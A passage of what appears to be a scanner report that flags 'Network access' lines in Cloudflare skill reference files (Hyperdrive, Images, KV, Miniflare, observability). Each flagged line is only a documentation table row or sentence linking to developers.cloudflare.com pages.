    | Budget origin connections across configurations | [Tune connection pooling](https://developers.cloudflare.com/hyperdrive/configuration/tune-connection-pool/index.md) |
  • Network accessline 17
    | Choose local database access or remote Hyperdrive testing | [Local development](https://developers.cloudflare.com/hyperdrive/configuration/local-development/index.md) |
  • Network accessline 18
    | Evaluate Worker placement for multiple database round trips | [Smart Placement](https://developers.cloudflare.com/workers/configuration/placement/index.md) |
  • Network accessline 22
    - Identify the database engine, provider, and network path first. The [PostgreSQL](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/index.md) and [MySQL](https://developers.cloudflare.com/hyperdrive/examples/connect

packages/autoskills/skills-registry/cloudflare/references/hyperdrive/gotchas.md

  • Network accessline 3
    Start with the actual error and the affected configuration. Fetch [Troubleshoot and debug](https://developers.cloudflare.com/hyperdrive/observability/troubleshooting/index.md) for current error codes and diagnosis rather than guessing from 
  • Network accessline 5
    | Symptom | What to inspect and where to read | |---------|----------------------------------| | Connection refused or authentication failure | Check origin reachability and credentials using [troubleshooting](https://developers.cloudflare.
  • Network accessline 6
    |---------|----------------------------------| | Connection refused or authentication failure | Check origin reachability and credentials using [troubleshooting](https://developers.cloudflare.com/hyperdrive/observability/troubleshooting/ind
  • Network accessline 7
    | Connection refused or authentication failure | Check origin reachability and credentials using [troubleshooting](https://developers.cloudflare.com/hyperdrive/observability/troubleshooting/index.md) and [firewall/networking configuration](
  • Network accessline 8
    | Private database or TLS failure | Follow the selected [Workers VPC](https://developers.cloudflare.com/hyperdrive/configuration/connect-to-private-database-vpc/index.md) or [Tunnel/Access](https://developers.cloudflare.com/hyperdrive/confi
  • Network accessline 9
    | Pool exhaustion or too many connections | Distinguish client connection lifetime from origin pool capacity. Read [connection lifecycle](https://developers.cloudflare.com/hyperdrive/concepts/connection-lifecycle/index.md), [pool tuning](ht
  • Network accessline 10
    | Query timeout | Check the current [limits](https://developers.cloudflare.com/hyperdrive/platform/limits/index.md) and [metrics](https://developers.cloudflare.com/hyperdrive/observability/metrics/index.md) before changing query or transact
  • Network accessline 11
    | Stale reads or unexpectedly uncached queries | Inspect the binding's cache configuration and query eligibility in [query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-caching/index.md). Writes do not purge cached re
  • Network accessline 12
    | Slow multi-query requests | Inspect [metrics](https://developers.cloudflare.com/hyperdrive/observability/metrics/index.md) and evaluate [Smart Placement](https://developers.cloudflare.com/workers/configuration/placement/index.md). |
  • Network accessline 13
    | Local connection failure, ignored environment variable, or absent cache behavior | Check binding names, local connection overrides, precedence, and remote testing in [local development](https://developers.cloudflare.com/hyperdrive/configu
  • Network accessline 14
    | Unsupported driver or SQL feature | Check [supported databases and features](https://developers.cloudflare.com/hyperdrive/reference/supported-databases-and-features/index.md) and the selected [driver guide](./api.md). |
  • Network accessline 18
    Retrieve [limits](https://developers.cloudflare.com/hyperdrive/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/hyperdrive/platform/pricing/index.md) for current plan allowances, connection and query bounds, and lim

packages/autoskills/skills-registry/cloudflare/references/hyperdrive/patterns.md

  • Network accessline 5
    | Workload or decision | Guidance and documentation | |----------------------|----------------------------| | Popular content or analytics dashboards | Cache only when the product can tolerate the configured stale window. Use [query caching
  • Network accessline 6
    |----------------------|----------------------------| | Popular content or analytics dashboards | Cache only when the product can tolerate the configured stale window. Use [query caching](https://developers.cloudflare.com/hyperdrive/concept
  • Network accessline 7
    | Popular content or analytics dashboards | Cache only when the product can tolerate the configured stale window. Use [query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-caching/index.md) for eligibility, parameters,
  • Network accessline 8
    | Mixed cached reads and fresh reads | Route authentication, permissions, and reads after writes through a cache-disabled configuration. Writes do not invalidate cached results; see [read-after-write behavior](https://developers.cloudflare.
  • Network accessline 9
    | Multi-tenant queries | Derive tenant scope from authenticated application context and apply it to every query. A cache is not an authorization boundary. Review [query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-ca
  • Network accessline 10
    | Globally distributed callers | Understand the distinction between fast connection setup and the remaining query round trip in [how Hyperdrive works](https://developers.cloudflare.com/hyperdrive/concepts/how-hyperdrive-works/index.md). | |
  • Network accessline 11
    | Multiple sequential database queries | Measure placement rather than assuming the nearest user location is best. Consult [Smart Placement](https://developers.cloudflare.com/workers/configuration/placement/index.md) and [Hyperdrive metrics
  • Network accessline 12
    | Transactions or connection-local state | Keep transactions short and do not assume state survives across transactions. Fetch [connection pooling](https://developers.cloudflare.com/hyperdrive/concepts/connection-pooling/index.md) and [supp
  • Network accessline 13
    | Client lifetime and pool sizing | Create clients per handler invocation; Hyperdrive owns the origin pool. Use [connection lifecycle](https://developers.cloudflare.com/hyperdrive/concepts/connection-lifecycle/index.md) and [pool tuning](ht

packages/autoskills/skills-registry/cloudflare/references/images/api.md

  • Network accessline 3
    | Operation | Documentation | |-----------|---------------| | Optimize image bytes in a Worker; select input, transform, output, and response methods | [Optimize with Workers](https://developers.cloudflare.com/images/optimization/binding/in
  • Network accessline 4
    |-----------|---------------| | Optimize image bytes in a Worker; select input, transform, output, and response methods | [Optimize with Workers](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) | | Upload, li
  • Network accessline 5
    | Optimize image bytes in a Worker; select input, transform, output, and response methods | [Optimize with Workers](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) |
  • Network accessline 6
    | Upload, list, retrieve, update, or delete hosted images from a Worker | [Manage hosted images with Workers](https://developers.cloudflare.com/images/storage/binding/index.md) |
  • Network accessline 7
    | Upload or manage images through HTTP | [Upload methods](https://developers.cloudflare.com/images/storage/upload-images/methods/index.md#upload-using-api) and its linked Images API reference |
  • Network accessline 8
    | Accept uploads directly from a client | [Direct Creator Upload](https://developers.cloudflare.com/images/storage/upload-images/direct-creator-upload/index.md) |
  • Network accessline 9
    | Construct hosted-image delivery URLs | [Serve uploaded images](https://developers.cloudflare.com/images/optimization/hosted-images/serve-uploaded-images/index.md) |
  • Network accessline 10
    | Apply URL optimization parameters or select fit, quality, and format | [Optimization features](https://developers.cloudflare.com/images/optimization/features/index.md) |
  • Network accessline 11
    | Draw overlays or watermarks | [Draw overlays](https://developers.cloudflare.com/images/optimization/draw-overlays/index.md) |

packages/autoskills/skills-registry/cloudflare/references/images/configuration.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Add the optimization binding | [Binding setup](https://developers.cloudflare.com/images/optimization/binding/index.md#setup) |
  • Network accessline 6
    |------|---------------| | Add the optimization binding | [Binding setup](https://developers.cloudflare.com/images/optimization/binding/index.md#setup) | | Configure hosted-image management in a Worker | [Hosted binding setup](https://devel
  • Network accessline 7
    | Add the optimization binding | [Binding setup](https://developers.cloudflare.com/images/optimization/binding/index.md#setup) |
  • Network accessline 8
    | Configure hosted-image management in a Worker | [Hosted binding setup](https://developers.cloudflare.com/images/storage/binding/index.md#setup) |
  • Network accessline 9
    | Choose local or remote development for the optimization binding | [Local binding development](https://developers.cloudflare.com/images/optimization/binding/index.md#interact-with-your-images-binding-locally) |
  • Network accessline 10
    | Upload through the dashboard or API | [Upload methods](https://developers.cloudflare.com/images/storage/upload-images/methods/index.md) |
  • Network accessline 11
    | Create named presets for hosted images | [Create predefined variants](https://developers.cloudflare.com/images/optimization/hosted-images/create-variants/index.md) |
  • Network accessline 12
    | Enable dynamic options for hosted-image URLs | [Enable flexible variants](https://developers.cloudflare.com/images/optimization/hosted-images/enable-flexible-variants/index.md) |
  • Network accessline 13
    | Find account hash and delivery URL components | [Serve uploaded images](https://developers.cloudflare.com/images/optimization/hosted-images/serve-uploaded-images/index.md) |
  • Network accessline 14
    | Configure private access and generate signed URLs | [Serve private images](https://developers.cloudflare.com/images/optimization/hosted-images/serve-private-images/index.md) |
  • Network accessline 15
    | Set hosted-image cache lifetime | [Browser TTL](https://developers.cloudflare.com/images/optimization/hosted-images/browser-ttl/index.md) |

packages/autoskills/skills-registry/cloudflare/references/images/gotchas.md

  • Network accessline 5
    | Symptom or question | Documentation | |---------------------|---------------| | Resizing is absent, an origin request fails, or a transformation returns an error code | [Troubleshooting](https://developers.cloudflare.com/images/reference/
  • Network accessline 6
    |---------------------|---------------| | Resizing is absent, an origin request fails, or a transformation returns an error code | [Troubleshooting](https://developers.cloudflare.com/images/reference/troubleshooting/index.md) | | Input size
  • Network accessline 7
    | Resizing is absent, an origin request fails, or a transformation returns an error code | [Troubleshooting](https://developers.cloudflare.com/images/reference/troubleshooting/index.md) |
  • Network accessline 8
    | Input size, dimensions, animation, or format compatibility | [Limits and formats](https://developers.cloudflare.com/images/get-started/limits/index.md) — choose the section for the affected interface |
  • Network accessline 9
    | Unexpected fit, quality, format, or crop behavior | [Optimization features](https://developers.cloudflare.com/images/optimization/features/index.md) |
  • Network accessline 10
    | Binding input, output, or response handling fails | [Binding methods](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) |
  • Network accessline 11
    | Local behavior differs from production | [Local binding development](https://developers.cloudflare.com/images/optimization/binding/index.md#interact-with-your-images-binding-locally) |
  • Network accessline 12
    | Private delivery fails or an image is unexpectedly public | [Serve private images](https://developers.cloudflare.com/images/optimization/hosted-images/serve-private-images/index.md) and [variant public access](https://developers.cloudflar
  • Network accessline 13
    | Remote transformations appear stale | [Caching and purging](https://developers.cloudflare.com/images/reference/troubleshooting/index.md#caching-and-purging) |
  • Network accessline 14
    | Worker transformations repeat unnecessarily | [Binding caching guidance](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) |

packages/autoskills/skills-registry/cloudflare/references/images/patterns.md

  • Network accessline 5
    | Workflow | Documentation | |----------|---------------| | Let users upload without exposing account credentials | [Direct Creator Upload](https://developers.cloudflare.com/images/storage/upload-images/direct-creator-upload/index.md) |
  • Network accessline 6
    |----------|---------------| | Let users upload without exposing account credentials | [Direct Creator Upload](https://developers.cloudflare.com/images/storage/upload-images/direct-creator-upload/index.md) | | Serve images for different lay
  • Network accessline 7
    | Let users upload without exposing account credentials | [Direct Creator Upload](https://developers.cloudflare.com/images/storage/upload-images/direct-creator-upload/index.md) |
  • Network accessline 8
    | Serve images for different layouts and display densities | [Make responsive images](https://developers.cloudflare.com/images/optimization/make-responsive-images/index.md) |
  • Network accessline 9
    | Select output format for hosted images | [Hosted-image format optimization](https://developers.cloudflare.com/images/optimization/hosted-images/serve-uploaded-images/index.md#optimize-format) |
  • Network accessline 10
    | Select output format for a Worker pipeline | [Workers optimization binding](https://developers.cloudflare.com/images/optimization/binding/index.md) |
  • Network accessline 11
    | Optimize user uploads, add a watermark, and store the result in R2 | [Transform user-uploaded images before uploading to R2](https://developers.cloudflare.com/images/tutorials/optimize-user-uploaded-image/index.md) |
  • Network accessline 12
    | Compose overlays and watermarks | [Draw overlays](https://developers.cloudflare.com/images/optimization/draw-overlays/index.md) |
  • Network accessline 13
    | Cache a Worker transformation response | [Binding methods and caching guidance](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) |
  • Network accessline 14
    | Configure hosted-image browser caching | [Browser TTL](https://developers.cloudflare.com/images/optimization/hosted-images/browser-ttl/index.md) |

packages/autoskills/skills-registry/cloudflare/references/kv/README.md

  • Network accessline 3
    Use KV for read-heavy configuration, preferences, and application caches that tolerate stale data. Read [how KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md) before choosing it: reads are eventually consistent,
  • Network accessline 5
    For atomic updates or coordination, consider [Durable Objects](https://developers.cloudflare.com/durable-objects/index.md); for relational queries, [D1](../d1/); for large objects, [R2](../r2/). Use the [storage comparison](https://develope
  • Network accessline 7
    Read the current documentation for the task before implementing. Use the [KV documentation index](https://developers.cloudflare.com/kv/llms.txt) to discover additional guides; these files preserve task routes rather than copies of APIs, com
  • Network accessline 11
    - [Get started](https://developers.cloudflare.com/kv/get-started/index.md): create a namespace, bind it, and read and write data.

packages/autoskills/skills-registry/cloudflare/references/kv/api.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Read one or several keys; choose text, JSON, binary, or stream results | [Read key-value pairs](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md) |
  • Network accessline 6
    |------|---------------| | Read one or several keys; choose text, JSON, binary, or stream results | [Read key-value pairs](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md) | | Read metadata with values; tune read cach
  • Network accessline 7
    | Read one or several keys; choose text, JSON, binary, or stream results | [Read key-value pairs](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md) |
  • Network accessline 8
    | Read metadata with values; tune read caching or coalesce related keys | [Read guidance](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md) |
  • Network accessline 9
    | Write values and metadata; set absolute expiration or a relative lifetime | [Write key-value pairs](https://developers.cloudflare.com/kv/api/write-key-value-pairs/index.md) |
  • Network accessline 10
    | Delete a key | [Delete key-value pairs](https://developers.cloudflare.com/kv/api/delete-key-value-pairs/index.md) |
  • Network accessline 11
    | Enumerate keys, filter by prefix, and paginate | [List keys](https://developers.cloudflare.com/kv/api/list-keys/index.md) |
  • Network accessline 12
    | Access namespaces or perform bulk operations outside a Worker | [KV REST API](https://developers.cloudflare.com/api/resources/kv/index.md) and [Wrangler KV commands](https://developers.cloudflare.com/kv/reference/kv-commands/index.md) |

packages/autoskills/skills-registry/cloudflare/references/kv/configuration.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Create a namespace and connect a Worker | [Get started](https://developers.cloudflare.com/kv/get-started/index.md) and [KV bindings](https://developers.cloudflare.com/kv/concepts/kv-bindin
  • Network accessline 6
    |------|---------------| | Create a namespace and connect a Worker | [Get started](https://developers.cloudflare.com/kv/get-started/index.md) and [KV bindings](https://developers.cloudflare.com/kv/concepts/kv-bindings/index.md) | | Configur
  • Network accessline 7
    | Create a namespace and connect a Worker | [Get started](https://developers.cloudflare.com/kv/get-started/index.md) and [KV bindings](https://developers.cloudflare.com/kv/concepts/kv-bindings/index.md) |
  • Network accessline 8
    | Configure staging and production namespaces | [KV environments](https://developers.cloudflare.com/kv/reference/environments/index.md) |
  • Network accessline 9
    | Generate Worker environment and binding types | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) |
  • Network accessline 10
    | Develop against local storage or a remote binding | [KV local development](https://developers.cloudflare.com/kv/concepts/kv-bindings/index.md) and [remote bindings](https://developers.cloudflare.com/workers/local-development/index.md#remo
  • Network accessline 11
    | Manage namespaces, individual keys, and bulk files from the CLI | [Wrangler KV commands](https://developers.cloudflare.com/kv/reference/kv-commands/index.md) |
  • Network accessline 12
    | Manage KV from another service or SDK | [KV REST API](https://developers.cloudflare.com/api/resources/kv/index.md) |

packages/autoskills/skills-registry/cloudflare/references/kv/gotchas.md

  • Network accessline 5
    | Symptom or decision | Documentation and guidance | |---------------------|----------------------------| | Stale value after a write or delete | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md): allow for
  • Network accessline 6
    |---------------------|----------------------------| | Stale value after a write or delete | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md): allow for eventual consistency; neither local read-after-write
  • Network accessline 7
    | Stale value after a write or delete | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md): allow for eventual consistency; neither local read-after-write visibility nor a fixed global propagation deadline i
  • Network accessline 8
    | Newly created key still appears absent | [Read caching](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): missing-key lookups are cached too. Treat check-then-create as a race, not an atomic existence test. |
  • Network accessline 9
    | Concurrent updates overwrite each other or writes are throttled | [Concurrent writes](https://developers.cloudflare.com/kv/api/write-key-value-pairs/index.md#concurrent-writes-to-the-same-key): retries do not make read-modify-write atomic
  • Network accessline 10
    | Missing-value errors | [Read results](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): distinguish `null` from valid falsy values and distinguish absence from an operation failure. |
  • Network accessline 11
    | Slow reads, large results, or excessive operations | [Read guidance](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): select result types and bulk reads to match the workload; increasing read cache lifetime trades 
  • Network accessline 12
    | Unexpected empty listing page | [Pagination](https://developers.cloudflare.com/kv/api/list-keys/index.md): use the completion flag and cursor, not page length, to determine whether to continue. |
  • Network accessline 13
    | Data present in one environment but missing in another | [KV bindings](https://developers.cloudflare.com/kv/concepts/kv-bindings/index.md) and [environments](https://developers.cloudflare.com/kv/reference/environments/index.md): check loc
  • Network accessline 14
    | Size, operation, or write-rate failures | [Limits](https://developers.cloudflare.com/kv/platform/limits/index.md): retrieve current constraints before sizing values, batches, or retry policies. |
  • Network accessline 15
    | Estimate costs or explain billing | [Pricing](https://developers.cloudflare.com/kv/platform/pricing/index.md): check allowances, billable operations, storage, and bulk accounting for the actual workload. |

packages/autoskills/skills-registry/cloudflare/references/kv/patterns.md

  • Network accessline 3
    Read the guide for the pattern before implementing it, and confirm that [KV's consistency model](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md) fits the application.
  • Network accessline 5
    | Task | Documentation and design decision | |------|-----------------------------------| | Cache application data or API results | [Cache data with KV](https://developers.cloudflare.com/kv/examples/cache-data-with-workers-kv/index.md): dec
  • Network accessline 6
    |------|-----------------------------------| | Cache application data or API results | [Cache data with KV](https://developers.cloudflare.com/kv/examples/cache-data-with-workers-kv/index.md): decide acceptable staleness, expiration, and beh
  • Network accessline 7
    | Cache application data or API results | [Cache data with KV](https://developers.cloudflare.com/kv/examples/cache-data-with-workers-kv/index.md): decide acceptable staleness, expiration, and behavior when the origin fails. |
  • Network accessline 8
    | Cache eligible HTTP responses | [Workers Cache](https://developers.cloudflare.com/workers/cache/index.md): choose the HTTP caching mechanism based on response semantics. |
  • Network accessline 9
    | Store configuration or feature flags | [Distributed configuration](https://developers.cloudflare.com/kv/examples/distributed-configuration-with-workers-kv/index.md): choose defaults and rollout behavior that tolerate delayed updates. |
  • Network accessline 10
    | Coalesce related keys | [Read guidance](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): fewer reads can improve cache reuse, but combined values couple updates and can introduce write races. |
  • Network accessline 11
    | Organize and enumerate keys by prefix | [List keys](https://developers.cloudflare.com/kv/api/list-keys/index.md): use a consistent naming scheme and paginate every listing. |
  • Network accessline 12
    | Attach schema versions or other metadata | [Write metadata](https://developers.cloudflare.com/kv/api/write-key-value-pairs/index.md) and [read metadata](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md): define compa
  • Network accessline 18
    - For a memory → KV → origin cache, define each layer's lifetime and refill behavior. Process memory is not shared durable state; KV adds its own stale-value and negative-lookup caching. - For sessions, decide how quickly creation, updates,
  • Network accessline 19
    - For sessions, decide how quickly creation, updates, and revocation must become visible. KV alone cannot provide immediate global revocation or guaranteed immediate reads after session creation. Use a store with suitable consistency when t
  • Network accessline 20
    - For counters, rate limits, or other atomic read-modify-write decisions, use coordination such as [Durable Objects](https://developers.cloudflare.com/durable-objects/index.md). Serializing writes through an object does not make separate KV

packages/autoskills/skills-registry/cloudflare/references/miniflare/README.md

  • Network accessline 7
    | Need | Start here | |------|------------| | Unit tests that execute in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) |
  • Network accessline 8
    |------|------------| | Unit tests that execute in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | | Integration tests against built Workers
  • Network accessline 9
    | Unit tests that execute in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) |
  • Network accessline 10
    | Integration tests against built Workers | [Integration test harness](https://developers.cloudflare.com/workers/testing/test-harness/index.md) |
  • Network accessline 11
    | Low-level simulator control for a custom harness | [Miniflare testing guide](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md) |
  • Network accessline 12
    | Binding access from a Node.js process | [Wrangler getPlatformProxy](https://developers.cloudflare.com/workers/wrangler/api/index.md#getplatformproxy) |
  • Network accessline 18
    - [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) — installation, scripts, lifecycle, and event dispatch.

packages/autoskills/skills-registry/cloudflare/references/miniflare/api.md

  • Network accessline 5
    | Task | Documentation | |------|---------------| | Create, reload, or dispose an instance; wait for its HTTP server | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) |
  • Network accessline 6
    |------|---------------| | Create, reload, or dispose an instance; wait for its HTTP server | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | | Dispatch requests and supply request metadata 
  • Network accessline 7
    | Create, reload, or dispose an instance; wait for its HTTP server | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | | Dispatch requests and supply request metadata | [Fetch events](https://
  • Network accessline 8
    | Dispatch requests and supply request metadata | [Fetch events](https://developers.cloudflare.com/workers/testing/miniflare/core/fetch/index.md) |
  • Network accessline 9
    | Trigger queue and scheduled handlers programmatically | [Dispatching events](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md#dispatching-events) |
  • Network accessline 10
    | Configure queue producers and consumers | [Queues](https://developers.cloudflare.com/workers/testing/miniflare/core/queues/index.md) |
  • Network accessline 11
    | Trigger scheduled events over HTTP or the API | [Scheduled events](https://developers.cloudflare.com/workers/testing/miniflare/core/scheduled/index.md) |
  • Network accessline 12
    | Access bindings from tests | [Interacting with bindings](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#interacting-with-bindings) |
  • Network accessline 13
    | Access local storage | [KV](https://developers.cloudflare.com/workers/testing/miniflare/storage/kv/index.md), [R2](https://developers.cloudflare.com/workers/testing/miniflare/storage/r2/index.md), [D1](https://developers.cloudflare.com/wo
  • Network accessline 14
    | Handle a WebSocket upgrade in a test | [WebSockets](https://developers.cloudflare.com/workers/testing/miniflare/core/web-sockets/index.md) |

packages/autoskills/skills-registry/cloudflare/references/miniflare/configuration.md

  • Network accessline 3
    Direct Miniflare does not read Wrangler configuration. Configure its bindings explicitly and build TypeScript or bundled Workers before starting tests; see [writing tests](https://developers.cloudflare.com/workers/testing/miniflare/writing-
  • Network accessline 5
    Match the Worker's intended compatibility date and flags when testing its behavior. Consult [compatibility dates](https://developers.cloudflare.com/workers/testing/miniflare/core/compatibility/index.md) rather than substituting a fixed date
  • Network accessline 7
    | Configure | Documentation | |-----------|---------------| | Script source, HTTP server, request metadata, or reloading | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) |
  • Network accessline 8
    |-----------|---------------| | Script source, HTTP server, request metadata, or reloading | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) | | Module format and resolution rules | [Modules](
  • Network accessline 9
    | Script source, HTTP server, request metadata, or reloading | [Get started](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) |
  • Network accessline 10
    | Module format and resolution rules | [Modules](https://developers.cloudflare.com/workers/testing/miniflare/core/modules/index.md) |
  • Network accessline 11
    | Values and file-backed bindings | [Variables and secrets](https://developers.cloudflare.com/workers/testing/miniflare/core/variables-secrets/index.md) |
  • Network accessline 12
    | Service bindings, shared storage, and several Workers | [Multiple Workers](https://developers.cloudflare.com/workers/testing/miniflare/core/multiple-workers/index.md) |
  • Network accessline 13
    | Storage bindings and documented persistence options | [KV](https://developers.cloudflare.com/workers/testing/miniflare/storage/kv/index.md), [R2](https://developers.cloudflare.com/workers/testing/miniflare/storage/r2/index.md), [D1](https
  • Network accessline 14
    | Queue producers and consumers | [Queues](https://developers.cloudflare.com/workers/testing/miniflare/core/queues/index.md) |
  • Network accessline 16
    If the task is to run tests from the project's build and Wrangler configuration, consider the [integration test harness](https://developers.cloudflare.com/workers/testing/test-harness/index.md) or [Workers Vitest setup](https://developers.c

packages/autoskills/skills-registry/cloudflare/references/miniflare/gotchas.md

  • Network accessline 3
    | Symptom or task | Check | |-----------------|-------| | TypeScript, bundled code, or imports fail to load | [Custom builds](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#custom-builds) and [module rule
  • Network accessline 4
    |-----------------|-------| | TypeScript, bundled code, or imports fail to load | [Custom builds](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#custom-builds) and [module rules](https://developers.cloudf
  • Network accessline 5
    | TypeScript, bundled code, or imports fail to load | [Custom builds](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#custom-builds) and [module rules](https://developers.cloudflare.com/workers/testing/min
  • Network accessline 6
    | Bindings from Wrangler configuration are missing | [Interacting with bindings](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md#interacting-with-bindings) — direct Miniflare needs explicit configuration |
  • Network accessline 7
    | Tests disagree with Worker runtime behavior | [Test runtime differences](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md) and [compatibility dates](https://developers.cloudflare.com/workers/testing/minif
  • Network accessline 8
    | Instances keep running, ports conflict, or request metadata is unexpected | [Instance lifecycle and HTTP server](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md) — dispatching a request without HTTP does n
  • Network accessline 9
    | Storage disappears or leaks across tests | Check the relevant [storage configuration](./configuration.md) and the chosen test tool's persistence settings | | Breakpoints are needed with direct Miniflare | [Attaching a debugger](https://de
  • Network accessline 10
    | Breakpoints are needed with direct Miniflare | [Attaching a debugger](https://developers.cloudflare.com/workers/testing/miniflare/developing/debugger/index.md) |
  • Network accessline 11
    | Upgrade a Miniflare 2 application | [Migrate from version 2](https://developers.cloudflare.com/workers/testing/miniflare/migrations/from-v2/index.md) |
  • Network accessline 12
    | Upgrade an existing Workers Vitest package | [Migrate to Vitest plugin](https://developers.cloudflare.com/workers/testing/vitest-integration/migration-guides/migrate-to-vitest-plugin/index.md) |
  • Network accessline 13
    | Replace unstable_dev tests | [Migration guide](https://developers.cloudflare.com/workers/testing/vitest-integration/migration-guides/migrate-from-unstable-dev/index.md) and [integration test harness](https://developers.cloudflare.com/work

packages/autoskills/skills-registry/cloudflare/references/miniflare/patterns.md

  • Network accessline 3
    Choose the test runtime before adapting an example. With direct Miniflare, the Worker runs in workerd while the test runner runs in Node.js; importing Worker functions into Node.js can change runtime-dependent behavior. See [writing tests](
  • Network accessline 5
    | Task | Documentation | |------|---------------| | Write unit tests in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) |
  • Network accessline 6
    |------|---------------| | Write unit tests in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) | | Use event, Durable Object, or other runtime
  • Network accessline 7
    | Write unit tests in the Workers runtime | [Workers Vitest setup](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) |
  • Network accessline 8
    | Use event, Durable Object, or other runtime test helpers | [Vitest test APIs](https://developers.cloudflare.com/workers/testing/vitest-integration/test-apis/index.md) |
  • Network accessline 9
    | Test built Workers from an external runner | [Integration test harness](https://developers.cloudflare.com/workers/testing/test-harness/index.md) |
  • Network accessline 10
    | Build a custom runner with direct simulator control | [Miniflare writing tests](https://developers.cloudflare.com/workers/testing/miniflare/writing-tests/index.md) | | Access emulated bindings from Node.js | [getPlatformProxy](https://dev
  • Network accessline 11
    | Access emulated bindings from Node.js | [getPlatformProxy](https://developers.cloudflare.com/workers/wrangler/api/index.md#getplatformproxy) | | Mock outbound requests in Workers Vitest tests | [Mock outbound requests](https://developers.
  • Network accessline 12
    | Mock outbound requests in Workers Vitest tests | [Mock outbound requests](https://developers.cloudflare.com/workers/testing/vitest-integration/mock-outbound-requests/index.md) |
  • Network accessline 13
    | Understand Vitest runtime isolation and concurrency | [Isolation and concurrency](https://developers.cloudflare.com/workers/testing/vitest-integration/isolation-and-concurrency/index.md) |
  • Network accessline 14
    | Simulate inter-Worker calls and substitute services | [Multiple Workers](https://developers.cloudflare.com/workers/testing/miniflare/core/multiple-workers/index.md) |
  • Network accessline 19
    For direct Miniflare, clean up instances after tests using the documented [lifecycle](https://developers.cloudflare.com/workers/testing/miniflare/get-started/index.md#watching-reloading-and-disposing). Choose persistence deliberately so tes

packages/autoskills/skills-registry/cloudflare/references/observability/README.md

  • Network accessline 7
    | Need | Start here | | --- | --- | | Store, search, and investigate historical Worker logs | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) |
  • Network accessline 8
    | --- | --- | | Store, search, and investigate historical Worker logs | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) | | Watch a deployment or reproduce an issue live | [Real-time logs a
  • Network accessline 9
    | Store, search, and investigate historical Worker logs | [Workers Logs](https://developers.cloudflare.com/workers/observability/logs/workers-logs/index.md) |
  • Network accessline 10
    | Watch a deployment or reproduce an issue live | [Real-time logs and Wrangler tail](https://developers.cloudflare.com/workers/observability/logs/real-time-logs/index.md) |
  • Network accessline 11
    | Understand request flows and dependency latency | [Workers Traces](https://developers.cloudflare.com/workers/observability/traces/index.md) |
  • Network accessline 12
    | Monitor built-in request, error, and CPU metrics | [Metrics and analytics](https://developers.cloudflare.com/workers/observability/metrics-and-analytics/index.md) |
  • Network accessline 13
    | Record custom events and tenant-level usage for SQL analysis | [Analytics Engine](https://developers.cloudflare.com/analytics/analytics-engine/get-started/index.md) |
  • Network accessline 14
    | Export logs and traces to an observability provider | [OpenTelemetry export](https://developers.cloudflare.com/observability/export/opentelemetry/index.md) |
  • Network accessline 15
    | Apply custom filtering, transformation, or delivery logic | [Tail Workers](https://developers.cloudflare.com/workers/observability/logs/tail-workers/index.md) |
  • Network accessline 16
    | Deliver Workers Trace Events to a supported log storage destination | [Workers Logpush](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md) |

packages/autoskills/skills-registry/cloudflare/references/observability/api.md

  • Network accessline 5
    | Task | Maintained documentation | | --- | --- | | Emit console messages and check supported methods | [Console API](https://developers.cloudflare.com/workers/runtime-apis/console/index.md) |
  • Network accessline 6
